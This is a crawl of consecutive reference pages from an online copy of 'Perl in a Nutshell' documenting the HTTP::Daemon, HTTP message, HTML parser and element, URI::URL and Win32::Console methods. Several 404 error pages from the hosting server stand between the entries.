Previous: Reference: send_basic_header | Perl in a Nutshell | Next: Reference: send_redirect
Reference: send_basic_header | Book Index | Reference: send_redirect


Reference: send_redirect

Perl in a Nutshell

Perl in a NutshellSearch this book

send_redirect

 $c->send_redirect ( url, [code, [entity_body]] )

Sends a redirect response to the client, with the location url, an absolute or a relative URL. The optional code argument should be one of the redirect status codes; the default is 301 Moved Permanently. An entity_body string can be sent as HTML that informs the user of the redirection.

Previous: Reference: send_response | Perl in a Nutshell | Next: Reference: send_error
Reference: send_response | Book Index | Reference: send_error


Reference: send_error

Perl in a Nutshell

Perl in a NutshellSearch this book

send_error

 $c->send_error ( [code, [msg]] )

Returns an error response to the client. code can contain one of the error response codes; the default is 400 Bad Request. msg is a string describing the error displayed in the HTML entity body.

Previous: Reference: send_redirect | Perl in a Nutshell | Next: Reference: send_file_response
Reference: send_redirect | Book Index | Reference: send_file_response


Reference: send_file_response

Perl in a Nutshell

Perl in a NutshellSearch this book

send_file_response

 $c->send_file_response (filename)

Sends a response with the file filename as content. If filename is a directory, an index listing will be generated and sent as HTML.

Previous: Reference: send_error | Perl in a Nutshell | Next: Reference: send_file
Reference: send_error | Book Index | Reference: send_file


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c17_072.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: daemon

Perl in a Nutshell

Perl in a NutshellSearch this book

daemon

 $c->daemon

Returns a reference to the HTTP::Daemon object from which the current ClientConn object was generated.

Previous: Reference: send_file | Perl in a Nutshell | Next: 17.3 The HTTP Modules
Reference: send_file | Book Index | 17.3 The HTTP Modules


Reference: add_content

Perl in a Nutshell

Perl in a NutshellSearch this book

add_content

 $r->add_content(data)

Appends data to the end of the object's current entity body.

Previous: 17.3 The HTTP Modules | Perl in a Nutshell | Next: Reference: clone
17.3 The HTTP Modules | Book Index | Reference: clone


Reference: clone

Perl in a Nutshell

Perl in a NutshellSearch this book

clone

 $r->clone()

Creates a copy of the current object, $r, and returns a reference to it.

Previous: Reference: add_content | Perl in a Nutshell | Next: Reference: content
Reference: add_content | Book Index | Reference: content


Reference: content

Perl in a Nutshell

Perl in a NutshellSearch this book

content

 $r->content ([content])

Without an argument, content returns the entity body of the object. With a scalar argument, the entity body will be set to content.

Previous: Reference: clone | Perl in a Nutshell | Next: Reference: content_ref
Reference: clone | Book Index | Reference: content_ref


Reference: content_ref

Perl in a Nutshell

Perl in a NutshellSearch this book

content_ref

 $r->content_ref()

Returns a reference to the string containing the content body. This reference can be used to manage large content data.

Previous: Reference: content | Perl in a Nutshell | Next: Reference: headers
Reference: content | Book Index | Reference: headers


Reference: headers

Perl in a Nutshell

Perl in a NutshellSearch this book

headers

 $r->headers()

Returns the embedded HTTP::Headers object from the message object.

Previous: Reference: content_ref | Perl in a Nutshell | Next: Reference: protocol
Reference: content_ref | Book Index | Reference: protocol


Reference: protocol

Perl in a Nutshell

Perl in a NutshellSearch this book

protocol

 $r->protocol([string])

Sets or retrieves the HTTP protocol string for the message object. This string looks like HTTP/1.1.

Previous: Reference: headers | Perl in a Nutshell | Next: 17.3 The HTTP Modules
Reference: headers | Book Index | 17.3 The HTTP Modules


Reference: parse

Perl in a Nutshell

Perl in a NutshellSearch this book

parse

 $p->parse(string)

Reads HTML into the parser object from a given string. Performance problems occur if the string is too large, so the HTML can be broken up into smaller pieces, which will be appended to the data already contained in the object. The parse can be terminated with a call to the eof method.

Previous: 17.4 The HTML Module | Perl in a Nutshell | Next: Reference: parse_file
17.4 The HTML Module | Book Index | Reference: parse_file


Reference: parse_file

Perl in a Nutshell

Perl in a NutshellSearch this book

parse_file

 $p->parse_file(file)

Reads HTML into the parser object from the given file, which can be a filename or an open filehandle.

Previous: Reference: parse | Perl in a Nutshell | Next: Reference: eof
Reference: parse | Book Index | Reference: eof


Reference: eof

Perl in a Nutshell

Perl in a NutshellSearch this book

eof

 $p->eof()

Indicates the end of a document and flushes any buffered text. Returns the parser object.

Previous: Reference: parse_file | Perl in a Nutshell | Next: 17.4 The HTML Module
Reference: parse_file | Book Index | 17.4 The HTML Module


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c17_083.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c17_084.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c17_085.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c17_086.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c17_087.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: as_HTML

Perl in a Nutshell

Perl in a NutshellSearch this book

as_HTML

 $h->as_HTML()

Returns the HTML string that represents the element and its children.

Previous: 17.4 The HTML Module | Perl in a Nutshell | Next: Reference: attr
17.4 The HTML Module | Book Index | Reference: attr


Reference: attr

Perl in a Nutshell

Perl in a NutshellSearch this book

attr

 $h->attr(name [,value])

Sets or retrieves the value of attribute name in the current element.

Previous: Reference: as_HTML | Perl in a Nutshell | Next: Reference: content
Reference: as_HTML | Book Index | Reference: content


Reference: content

Perl in a Nutshell

Perl in a NutshellSearch this book

content

 $h->content()

Returns the content contained in this element as a reference to an array that contains plain text segments and references to nested element objects.

Previous: Reference: attr | Perl in a Nutshell | Next: Reference: delete
Reference: attr | Book Index | Reference: delete


Reference: delete

Perl in a Nutshell

Perl in a NutshellSearch this book

delete

 $h->delete()

Deletes the current element and all of its child elements.

Previous: Reference: content | Perl in a Nutshell | Next: Reference: delete_content
Reference: content | Book Index | Reference: delete_content


Reference: delete_content

Perl in a Nutshell

Perl in a NutshellSearch this book

delete_content

 $h->delete_content()

Removes the content from the current element.

Previous: Reference: delete | Perl in a Nutshell | Next: Reference: dump
Reference: delete | Book Index | Reference: dump


Reference: dump

Perl in a Nutshell

Perl in a NutshellSearch this book

dump

 $h->dump()

Prints the tag name of the element and all its children to STDOUT. Useful for debugging. The structure of the document is shown by indentation.

Previous: Reference: delete_content | Perl in a Nutshell | Next: Reference: endtag
Reference: delete_content | Book Index | Reference: endtag


Reference: endtag

Perl in a Nutshell

Perl in a NutshellSearch this book

endtag

 $h->endtag()

Returns the original text of the end tag, including the "</" and ">".

Previous: Reference: dump | Perl in a Nutshell | Next: Reference: extract_links
Reference: dump | Book Index | Reference: extract_links


Reference: extract_links

Perl in a Nutshell

Perl in a NutshellSearch this book

extract_links

 $h->extract_links([types])

Retrieves the links contained within an element and all of its child elements. This method returns a reference to an array in which each element is a reference to an array with two values: the value of the link and a reference to the element in which it was found. You may specify the tags from which you want to extract links by providing their names in a list of types.

Previous: Reference: endtag | Perl in a Nutshell | Next: Reference: implicit
Reference: endtag | Book Index | Reference: implicit


Reference: implicit

Perl in a Nutshell

Perl in a NutshellSearch this book

implicit

 $h->implicit([boolean])

Indicates whether the element was contained in the original document (false) or whether it was assumed to be implicit (true) by the parser. Implicit tags are elements that the parser included appropriate to conform to proper HTML structure, such as an ending paragraph tag (</p>). You may also set this attribute by providing a boolean argument.

Previous: Reference: extract_links | Perl in a Nutshell | Next: Reference: insert_element
Reference: extract_links | Book Index | Reference: insert_element


Reference: insert_element

Perl in a Nutshell

Perl in a NutshellSearch this book

insert_element

 $h->insert_element($element, implicit)

Inserts the object $element at the current position relative to the root object $h and updates the position (indicated by pos) to the inserted element. Returns the new $element. The implicit argument is a boolean indicating whether the element is an implicit tag (true) or the original HTML (false).

Previous: Reference: implicit | Perl in a Nutshell | Next: Reference: is_empty
Reference: implicit | Book Index | Reference: is_empty


Reference: is_empty

Perl in a Nutshell

Perl in a NutshellSearch this book

is_empty

 $h->is_empty()

Returns true if the current object has no content.

Previous: Reference: insert_element | Perl in a Nutshell | Next: Reference: is_inside
Reference: insert_element | Book Index | Reference: is_inside


Reference: is_inside

Perl in a Nutshell

Perl in a NutshellSearch this book

is_inside

 $h->is_inside(tag1 [,tag2, ...])

Returns true if the tag for this element is contained inside one of the tags listed as arguments.

Previous: Reference: is_empty | Perl in a Nutshell | Next: Reference: parent
Reference: is_empty | Book Index | Reference: parent


Reference: parent

Perl in a Nutshell

Perl in a NutshellSearch this book

parent

 $h->parent([$new])

Without an argument, returns the parent object for this element. If given a reference to another element object, this element is set as the new parent object and is returned.

Previous: Reference: is_inside | Perl in a Nutshell | Next: Reference: pos
Reference: is_inside | Book Index | Reference: pos


Reference: pos

Perl in a Nutshell

Perl in a NutshellSearch this book

pos

 $h->pos([$element])

Sets or retrieves the current position in the syntax tree of the current object. The returned value is a reference to the element object that holds the current position. The "position" object is an element contained within the tree that has the current object ($h) at its root.

Previous: Reference: parent | Perl in a Nutshell | Next: Reference: push_content
Reference: parent | Book Index | Reference: push_content


Reference: push_content

Perl in a Nutshell

Perl in a NutshellSearch this book

push_content

 $h->push_content(content)

Inserts the specified content into the current element. content can be either a scalar containing plain text or a reference to another element. Multiple arguments can be supplied.

Previous: Reference: pos | Perl in a Nutshell | Next: Reference: starttag
Reference: pos | Book Index | Reference: starttag


Reference: starttag

Perl in a Nutshell

Perl in a NutshellSearch this book

starttag

 $h->starttag()

Returns the original text of the start tag for the element. This includes the "<" and ">" and all attributes.

Previous: Reference: push_content | Perl in a Nutshell | Next: Reference: tag
Reference: push_content | Book Index | Reference: tag


Reference: tag

Perl in a Nutshell

Perl in a NutshellSearch this book

tag

 $h->tag([name])

Sets or retrieves the tag name for the element. Tag names are always converted to lowercase.

Previous: Reference: starttag | Perl in a Nutshell | Next: Reference: traverse
Reference: starttag | Book Index | Reference: traverse


Reference: traverse

Perl in a Nutshell

Perl in a NutshellSearch this book

traverse

 $h->traverse(sub, [ignoretext])

Traverses the current element and all of its children, invoking the callback routine sub for each element. The callback routine is called with a reference to the current element (the node), a startflag, and the depth as arguments. The start flag is 1 when entering a node and 0 when leaving (returning to a parent element). If the ignoretext parameter is true (the default), then the callback routine will not be invoked for text content. If the callback routine returns false, the method will not traverse any child elements of that node.

Previous: Reference: tag | Perl in a Nutshell | Next: 17.4 The HTML Module
Reference: tag | Book Index | 17.4 The HTML Module


Reference: implicit_tags

Perl in a Nutshell

Perl in a NutshellSearch this book

implicit_tags

 $p->implicit_tags(boolean)

If set to true, the parser will try to deduce implicit tags such as missing elements or end tags that are required to conform to proper HTML structure. If false, the parse tree will reflect the HTML as is.

Previous: 17.4 The HTML Module | Perl in a Nutshell | Next: Reference: ignore_unknown
17.4 The HTML Module | Book Index | Reference: ignore_unknown


Reference: ignore_unknown

Perl in a Nutshell

Perl in a NutshellSearch this book

ignore_unknown

 $p->ignore_unknown(boolean)

If set to true, unknown tags in the HTML will be represented as elements in the parse tree.

Previous: Reference: implicit_tags | Perl in a Nutshell | Next: Reference: ignore_text
Reference: implicit_tags | Book Index | Reference: ignore_text


Reference: ignore_text

Perl in a Nutshell

Perl in a NutshellSearch this book

ignore_text

 $p->ignore_text(boolean)

If set to true, text content of elements will not be included in elements of the parse tree. The default it false.

Previous: Reference: ignore_unknown | Perl in a Nutshell | Next: Reference: warn
Reference: ignore_unknown | Book Index | Reference: warn


Reference: warn

Perl in a Nutshell

Perl in a NutshellSearch this book

warn

 $p->warn(boolean)

If set to true, the parser will make calls to warn with messages describing syntax errors when they occur. Error messages are off by default.

Previous: Reference: ignore_text | Perl in a Nutshell | Next: 17.4 The HTML Module
Reference: ignore_text | Book Index | 17.4 The HTML Module


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c17_110.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c17_111.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: abs

Perl in a Nutshell

Perl in a NutshellSearch this book

abs

 $url->abs([base, [scheme]])

Returns the absolute URL, given a base. If invoked with no parameters, any previous definition of the base is used. The second parameter is a Boolean that modifies abs's behavior. When the second parameter is nonzero, abs will accept a relative URL with a scheme but no host, like "http:index.html".

Previous: 17.5 The URI Module | Perl in a Nutshell | Next: Reference: as_string
17.5 The URI Module | Book Index | Reference: as_string


Reference: as_string

Perl in a Nutshell

Perl in a NutshellSearch this book

as_string

 $url->as_string()

Returns the URL as a scalar string. All defined components of the URL are included in the string.

Previous: Reference: abs | Perl in a Nutshell | Next: Reference: base
Reference: abs | Book Index | Reference: base


Reference: base

Perl in a Nutshell

Perl in a NutshellSearch this book

base

 $url->base([base])

Gets or sets the base URL associated with the URL in this URI::URL object. The base URL is useful for converting a relative URL into an absolute URL.

Previous: Reference: as_string | Perl in a Nutshell | Next: Reference: crack
Reference: as_string | Book Index | Reference: crack


Reference: crack

Perl in a Nutshell

Perl in a NutshellSearch this book

crack

 $url->crack()

Returns an array with the following data:

(scheme, user, password, host, port, epath, eparams, equery, frag)

Previous: Reference: base | Perl in a Nutshell | Next: Reference: default_port
Reference: base | Book Index | Reference: default_port


Reference: default_port

Perl in a Nutshell

Perl in a NutshellSearch this book

default_port

 $url->default_port([port])

When invoked with no parameters, this method returns the default port for the URL defined in the object. The default port is based on the scheme used. Even if the port for the URL is explicitly changed by the user with the port method, the default port is always the same.

Previous: Reference: crack | Perl in a Nutshell | Next: Reference: eparams
Reference: crack | Book Index | Reference: eparams


Reference: eparams

Perl in a Nutshell

Perl in a NutshellSearch this book

eparams

 $url->eparams([param])

When invoked with no arguments, this method returns the escaped parameter of the URL defined in the object. When invoked with an argument, the object's escaped parameter is assigned to that value.

Previous: Reference: default_port | Perl in a Nutshell | Next: Reference: epath
Reference: default_port | Book Index | Reference: epath


Reference: epath

Perl in a Nutshell

Perl in a NutshellSearch this book

epath

 $url->epath()

When invoked with no parameters, this method returns the escaped path of the URL defined in the object. When invoked with a parameter, the object's escaped path is assigned to that value.

Previous: Reference: eparams | Perl in a Nutshell | Next: Reference: eq
Reference: eparams | Book Index | Reference: eq


Reference: eq

Perl in a Nutshell

Perl in a NutshellSearch this book

eq

 $url->eq(other_url)

Returns true when the object's URL is equal to the URL specified.

Previous: Reference: epath | Perl in a Nutshell | Next: Reference: equery
Reference: epath | Book Index | Reference: equery


Reference: equery

Perl in a Nutshell

Perl in a NutshellSearch this book

equery

 $url->equery([string])

When invoked with no arguments, this method returns the escaped query string of the URL defined in the object. When invoked with an argument, the object's escaped query string is assigned to that value.

Previous: Reference: eq | Perl in a Nutshell | Next: Reference: frag
Reference: eq | Book Index | Reference: frag


Reference: frag

Perl in a Nutshell

Perl in a NutshellSearch this book

frag

 $url->frag([frag])

When invoked with no arguments, this method returns the fragment of the URL defined in the object. When invoked with an argument, the object's fragment is assigned to that value.

Previous: Reference: equery | Perl in a Nutshell | Next: Reference: full_path
Reference: equery | Book Index | Reference: full_path


Reference: full_path

Perl in a Nutshell

Perl in a NutshellSearch this book

full_path

 $url->full_path()

Returns a string consisting of the escaped path, escaped parameters, and escaped query string.

Previous: Reference: frag | Perl in a Nutshell | Next: Reference: host
Reference: frag | Book Index | Reference: host


Reference: host

Perl in a Nutshell

Perl in a NutshellSearch this book

host

 $url->host([hostname])

When invoked with no parameters, this method returns the hostname in the URL defined in the object. When invoked with a parameter, the object's hostname is assigned to that value.

Previous: Reference: full_path | Perl in a Nutshell | Next: Reference: netloc
Reference: full_path | Book Index | Reference: netloc


Reference: netloc

Perl in a Nutshell

Perl in a NutshellSearch this book

netloc

 $url->netloc([netloc])

When invoked with no parameters, this method returns the network location for the URL defined in the object. The network location is a string composed of "user:password@host:port", where the user, password, and port may be omitted when not defined. When netloc is invoked with a parameter, the object's network location is defined to that value. Changes to the network location are reflected in the user, password, host, and port methods.

Previous: Reference: host | Perl in a Nutshell | Next: Reference: params
Reference: host | Book Index | Reference: params


Reference: params

Perl in a Nutshell

Perl in a NutshellSearch this book

params

 $url->params([param])

Same as eparams, except that the parameter that is set/returned is not escaped.

Previous: Reference: netloc | Perl in a Nutshell | Next: Reference: password
Reference: netloc | Book Index | Reference: password


Reference: password

Perl in a Nutshell

Perl in a NutshellSearch this book

password

 $url->password([passwd])

When invoked with no parameters, this method returns the password in the URL defined in the object. When invoked with a parameter, the object's password is assigned to that value.

Previous: Reference: params | Perl in a Nutshell | Next: Reference: path
Reference: params | Book Index | Reference: path


Reference: path

Perl in a Nutshell

Perl in a NutshellSearch this book

path

 $url->path([pathname])

Same as epath, except that the path that is set/returned is not escaped.

Previous: Reference: password | Perl in a Nutshell | Next: Reference: port
Reference: password | Book Index | Reference: port


Reference: port

Perl in a Nutshell

Perl in a NutshellSearch this book

port

 $url->port([port])

When invoked with no parameters, this method returns the port for the URL defined in the object. If a port wasn't explicitly defined in the URL, a default port is assumed. When invoked with a parameter, the object's port is assigned to that value.

Previous: Reference: path | Perl in a Nutshell | Next: Reference: query
Reference: path | Book Index | Reference: query


Reference: query

Perl in a Nutshell

Perl in a NutshellSearch this book

query

 $url->query([param])

Same as equery, except that the parameter that is set/returned is not escaped.

Previous: Reference: port | Perl in a Nutshell | Next: Reference: rel
Reference: port | Book Index | Reference: rel


Reference: rel

Perl in a Nutshell

Perl in a NutshellSearch this book

rel

 $url->rel(base)

Given a base as a first parameter or a previous definition of the base, returns the current object's URL relative to the base URL.

Previous: Reference: query | Perl in a Nutshell | Next: Reference: scheme
Reference: query | Book Index | Reference: scheme


Reference: scheme

Perl in a Nutshell

Perl in a NutshellSearch this book

scheme

 $url->scheme([scheme])

When invoked with no parameters, this method returns the scheme in the URL defined in the object. When invoked with a parameter, the object's scheme is assigned to that value.

Previous: Reference: rel | Perl in a Nutshell | Next: Reference: strict
Reference: rel | Book Index | Reference: strict


Reference: strict

Perl in a Nutshell

Perl in a NutshellSearch this book

strict

 URI::URL::strict(bool)

When set, the URI::URL module calls croak upon encountering an error. When disabled, the URI::URL module may behave more gracefully. The function returns the previous value of strict. This function is not exported explicitly by the module.

Previous: Reference: scheme | Perl in a Nutshell | Next: Reference: user
Reference: scheme | Book Index | Reference: user


Reference: user

Perl in a Nutshell

Perl in a NutshellSearch this book

user

 $url->user([username])

When invoked with no parameters, this method returns the user for the URL defined in the object. When invoked with a parameter, the object's user is assigned to that value.

Previous: Reference: strict | Perl in a Nutshell | Next: 17. The LWP Library
Reference: strict | Book Index | 17. The LWP Library


Reference: Alloc

Perl in a Nutshell

Perl in a NutshellSearch this book

Alloc

$cons->Alloc

Allocates a new console for the process. Returns undef on error or a nonzero value on success. A process cannot be associated with more than one console, so this method will fail if there is already an allocated console. Use Free to detach the process from the console, and then call Alloc to create a new console.

Previous: 19.2 Win32::Console | Perl in a Nutshell | Next: Reference: Attr
19.2 Win32::Console | Book Index | Reference: Attr


Reference: Attr

Perl in a Nutshell

Perl in a NutshellSearch this book

Attr

$cons->Attr([attr])

Gets or sets the current console attribute. This attribute is used by the Write method.

Previous: Reference: Alloc | Perl in a Nutshell | Next: Reference: Cls
Reference: Alloc | Book Index | Reference: Cls


Reference: Cls

Perl in a Nutshell

Perl in a NutshellSearch this book

Cls

$cons->Cls([attr])

Clear the console, with the specified attr if given, or using ATTR_NORMAL otherwise.

Previous: Reference: Attr | Perl in a Nutshell | Next: Reference: Cursor
Reference: Attr | Book Index | Reference: Cursor


Reference: Cursor

Perl in a Nutshell

Perl in a NutshellSearch this book

Cursor

$cons->Cursor([x, y, size, visible])

Gets or sets cursor position and appearance. Returns undef on error, or a four-element list containing: x, y, size, visible. x and y give the current cursor position.

Previous: Reference: Cls | Perl in a Nutshell | Next: Reference: Display
Reference: Cls | Book Index | Reference: Display


Reference: Display

Perl in a Nutshell

Perl in a NutshellSearch this book

Display

$cons->Display

Displays the specified console on the screen. Returns undef on error or a nonzero value on success.

Previous: Reference: Cursor | Perl in a Nutshell | Next: Reference: FillAttr
Reference: Cursor | Book Index | Reference: FillAttr


Reference: FillAttr

Perl in a Nutshell

Perl in a NutshellSearch this book

FillAttr

$cons->FillAttr([value, number, col, row])

Fills the specified number of consecutive attributes, beginning at col, row, with the value specified. Returns the number of attributes filled, or undef on error.

Previous: Reference: Display | Perl in a Nutshell | Next: Reference: FillChar
Reference: Display | Book Index | Reference: FillChar


Reference: FillChar

Perl in a Nutshell

Perl in a NutshellSearch this book

FillChar

$cons->FillChar(char, number, col, row)

Fills the specified number of consecutive characters, beginning at col, row, with the character specified in char. Returns the number of characters filled, or undef on error.

Previous: Reference: FillAttr | Perl in a Nutshell | Next: Reference: Flush
Reference: FillAttr | Book Index | Reference: Flush


Reference: Flush

Perl in a Nutshell

Perl in a NutshellSearch this book

Flush

$cons->Flush

Flushes the console input buffer. All the events in the buffer are discarded. Returns undef on error, a nonzero value on success.

Previous: Reference: FillChar | Perl in a Nutshell | Next: Reference: Free
Reference: FillChar | Book Index | Reference: Free


Reference: Free

Perl in a Nutshell

Perl in a NutshellSearch this book

Free

$cons->Free

Detaches the process from the console. Returns undef on error, a nonzero value on success.

Previous: Reference: Flush | Perl in a Nutshell | Next: Reference: GenerateCtrlEvent
Reference: Flush | Book Index | Reference: GenerateCtrlEvent


Reference: GenerateCtrlEvent

Perl in a Nutshell

Perl in a NutshellSearch this book

GenerateCtrlEvent

$cons->GenerateCtrlEvent([type, processgroup])

Sends a break signal of the specified type to the specified process group. type can be one of CTRL_BREAK_EVENT or CTRL_C_EVENT, signaling, respectively, the pressing of CTRL + Break and of CTRL + C. If not specified, type defaults to CTRL_C_EVENT. processgroup is the PID of a process sharing the same console. If omitted, it defaults to 0 (the current process), which is also the only meaningful value that you can pass to this function. Returns undef on error, a nonzero value on success.

Previous: Reference: Free | Perl in a Nutshell | Next: Reference: GetEvents
Reference: Free | Book Index | Reference: GetEvents


Reference: GetEvents

Perl in a Nutshell

Perl in a NutshellSearch this book

GetEvents

$cons->GetEvents

Returns the number of unread input events in the console's input buffer, or undef on error.

Previous: Reference: GenerateCtrlEvent | Perl in a Nutshell | Next: Reference: Info
Reference: GenerateCtrlEvent | Book Index | Reference: Info


Reference: Info

Perl in a Nutshell

Perl in a NutshellSearch this book

Info

$cons->Info

Returns an array of information about the console, which contains:

  • Number of columns (X size) of the console buffer

  • Number of rows (Y size) of the console buffer

  • Current column (X position) of the cursor

  • Current row (Y position) of the cursor

  • Current attribute used for Write

  • Left column (X of the starting point) of the current console window

  • Top row (Y of the starting point) of the current console window

  • Right column (X of the final point) of the current console window

  • Bottom row (Y of the final point) of the current console window

  • Maximum number of columns for the console window, given the current buffer size, font, and screen size

  • Maximum number of rows for the console window, given the current buffer size, font, and screen size

This example prints the cursor's current position:

@info = $CONSOLE->Info();
print "Cursor at $info[3], $info[4].0";

Previous: Reference: GetEvents | Perl in a Nutshell | Next: Reference: Input
Reference: GetEvents | Book Index | Reference: Input


Reference: Input

Perl in a Nutshell

Perl in a NutshellSearch this book

Input

$cons->Input

Reads an event from the input buffer. Returns a list of values, determined by the type of event. A keyboard event will contain the following values, in order:

  • Event type (1 for keyboard)

  • Key state - true if the key is being pressed, false if the key is being released

  • Repeat count - the number of times the key is being held down

  • Virtual keycode of the key

  • Virtual scancode of the key

  • ASCII code of the character (if the key is a character key, 0 otherwise)

  • State of the control keys (SHIFTs, CTRLs, ALTs, etc.)

A mouse event will return the following values, in order:

  • Event type (2 for mouse)

  • X coordinate (column) of the mouse location

  • Y coordinate (row) of the mouse location

  • Button state - the mouse button(s) which are pressed

  • State of the control keys (SHIFTs, CTRLs, ALTs, etc.)

  • Event flags for the type of the mouse event

This method will return undef on error.

Note that the events returned depend on the input mode of the console; for example, mouse events are not intercepted unless ENABLE_MOUSE_INPUT is specified.

Previous: Reference: Info | Perl in a Nutshell | Next: Reference: InputChar
Reference: Info | Book Index | Reference: InputChar


Reference: InputChar

Perl in a Nutshell

Perl in a NutshellSearch this book

InputChar

$cons->InputChar(number)

Reads and returns number characters from the console input buffer, or returns undef on error.

Previous: Reference: Input | Perl in a Nutshell | Next: Reference: InputCP
Reference: Input | Book Index | Reference: InputCP


Reference: InputCP

Perl in a Nutshell

Perl in a NutshellSearch this book

InputCP

$cons->InputCP([codepage])

Gets or sets the input code page used by the console. Note that this doesn't apply to a console object, but to the standard input console. This attribute is used by the Write method.

Previous: Reference: InputChar | Perl in a Nutshell | Next: Reference: MaxWindow
Reference: InputChar | Book Index | Reference: MaxWindow


Reference: MaxWindow

Perl in a Nutshell

Perl in a NutshellSearch this book

MaxWindow

$cons->MaxWindow

Returns the size of the largest possible console window, based on the current font and the size of the display. The result is undef on error; otherwise, a two-element list containing the number of columns and rows is returned.

Previous: Reference: InputCP | Perl in a Nutshell | Next: Reference: Mode
Reference: InputCP | Book Index | Reference: Mode


Reference: Mode

Perl in a Nutshell

Perl in a NutshellSearch this book

Mode

$cons->Mode([flags])

Gets or sets the input or output mode of a console. flags can be a combination of the following constants:

ENABLE_LINE_INPUT
ENABLE_ECHO_INPUT
ENABLE_PROCESSED_INPUT
ENABLE_WINDOW_INPUT
ENABLE_MOUSE_INPUT
ENABLE_PROCESSED_OUTPUT
ENABLE_WRAP_AT_EOL_OUTPUT

Previous: Reference: MaxWindow | Perl in a Nutshell | Next: Reference: MouseButtons
Reference: MaxWindow | Book Index | Reference: MouseButtons


Reference: MouseButtons

Perl in a Nutshell

Perl in a NutshellSearch this book

MouseButtons

$cons->MouseButtons

Returns the number of the buttons on your mouse, or undef on error.

Previous: Reference: Mode | Perl in a Nutshell | Next: Reference: OutputCP
Reference: Mode | Book Index | Reference: OutputCP


Reference: OutputCP

Perl in a Nutshell

Perl in a NutshellSearch this book

OutputCP

$cons->OutputCP([codepage])

Gets or sets the output code page used by the console. Note that this doesn't apply to a console object, but to the standard output console. You may want to use the non-instantiated form to avoid confusion:

$codepage = Win32::Console::OutputCP();
Win32::Console::OutputCP(437);

Previous: Reference: MouseButtons | Perl in a Nutshell | Next: Reference: PeekInput
Reference: MouseButtons | Book Index | Reference: PeekInput


Reference: PeekInput

Perl in a Nutshell

Perl in a NutshellSearch this book

PeekInput

$cons->PeekInput

Does exactly the same as Input, except that the event read is not removed from the input buffer.

Previous: Reference: OutputCP | Perl in a Nutshell | Next: Reference: ReadAttr
Reference: OutputCP | Book Index | Reference: ReadAttr


Reference: ReadAttr

Perl in a Nutshell

Perl in a NutshellSearch this book

ReadAttr

$cons->ReadAttr([number, col, row])

Reads the specified number of consecutive attributes from the console, beginning at col, row. Returns the attributes read (a variable containing one character for each attribute), or undef on error. You can then pass the returned variable to WriteAttr to restore the saved attributes on screen.

Previous: Reference: PeekInput | Perl in a Nutshell | Next: Reference: ReadChar
Reference: PeekInput | Book Index | Reference: ReadChar


Reference: ReadChar

Perl in a Nutshell

Perl in a NutshellSearch this book

ReadChar

$cons->ReadChar([number, col, row])

Reads the specified number of consecutive characters from the console, beginning at col and row. Returns a string containing the characters read, or undef on error. You can then pass the returned variable to WriteChar to restore the saved characters on screen.

Previous: Reference: ReadAttr | Perl in a Nutshell | Next: Reference: ReadRect
Reference: ReadAttr | Book Index | Reference: ReadRect


Reference: ReadRect

Perl in a Nutshell

Perl in a NutshellSearch this book

ReadRect

$cons->ReadRect(left, top, right, bottom)

Reads the content (characters and attributes) of the rectangle specified by left, top, right, bottom from the console. Returns a string containing the rectangle read, or undef on error. You can then pass the returned variable to WriteRect to restore the saved rectangle on screen (or on another console).

Previous: Reference: ReadChar | Perl in a Nutshell | Next: Reference: Scroll
Reference: ReadChar | Book Index | Reference: Scroll


Reference: Scroll

Perl in a Nutshell

Perl in a NutshellSearch this book

Scroll

$cons->Scroll(left, top, right, bottom, col, row, char, attr, [cleft, ctop, cright, cbottom])

Moves a block of data in a console buffer; the block is identified by the left, top, right, and bottom positions.

row and col identify the new location of the block. The cells left empty as a result of the move are filled with the character char and attribute attr.

Optionally, you can specify a clipping region with cleft, ctop, cright, cbottom, so that the contents of the console outside this rectangle are unchanged. Returns undef on error or a nonzero value on success.

# scrolls the screen 10 lines down, filling with black spaces
$CONSOLE->Scroll(0, 0, 80, 25, 0, 10, " ", $FG_BLACK | $BG_BLACK);

Previous: Reference: ReadRect | Perl in a Nutshell | Next: Reference: Select
Reference: ReadRect | Book Index | Reference: Select


Reference: Select

Perl in a Nutshell

Perl in a NutshellSearch this book

Select

$cons->Select(standard_handle)

Redirects a standard handle to the specified console. standard_handle can have one of the following values:

STD_INPUT_HANDLE
STD_OUTPUT_HANDLE
STD_ERROR_HANDLE
Returns undef on error or a nonzero value on success.

Previous: Reference: Scroll | Perl in a Nutshell | Next: Reference: Size
Reference: Scroll | Book Index | Reference: Size


Reference: Size

Perl in a Nutshell

Perl in a NutshellSearch this book

Size

$cons->Size([col, row])

Gets or sets the console buffer size.

Previous: Reference: Select | Perl in a Nutshell | Next: Reference: Title
Reference: Select | Book Index | Reference: Title


Reference: Title

Perl in a Nutshell

Perl in a NutshellSearch this book

Title

$cons->Title([title])

Gets or sets the title bar string of the current console window.

Previous: Reference: Size | Perl in a Nutshell | Next: Reference: Window
Reference: Size | Book Index | Reference: Window


Reference: Window

Perl in a Nutshell

Perl in a NutshellSearch this book

Window

$cons->Window([flag, left, top, right, bottom])

Gets or sets the current console window size. If called without arguments, returns a four-element list containing the current window coordinates in the form of (left, top, right, bottom). To set the window size, you have to specify an additional flag parameter. If it is 0 (zero), coordinates are considered relative to the current coordinates; if it is non-zero, coordinates are absolute.

Previous: Reference: Title | Perl in a Nutshell | Next: Reference: Write
Reference: Title | Book Index | Reference: Write


Reference: Write

Perl in a Nutshell

Perl in a NutshellSearch this book

Write

$cons->Write(string)

Writes string on the console, using the current attribute, which you can set with Attr, and advancing the cursor as needed. This isn't so different from Perl's print statement. Returns the number of characters written, or undef on error.
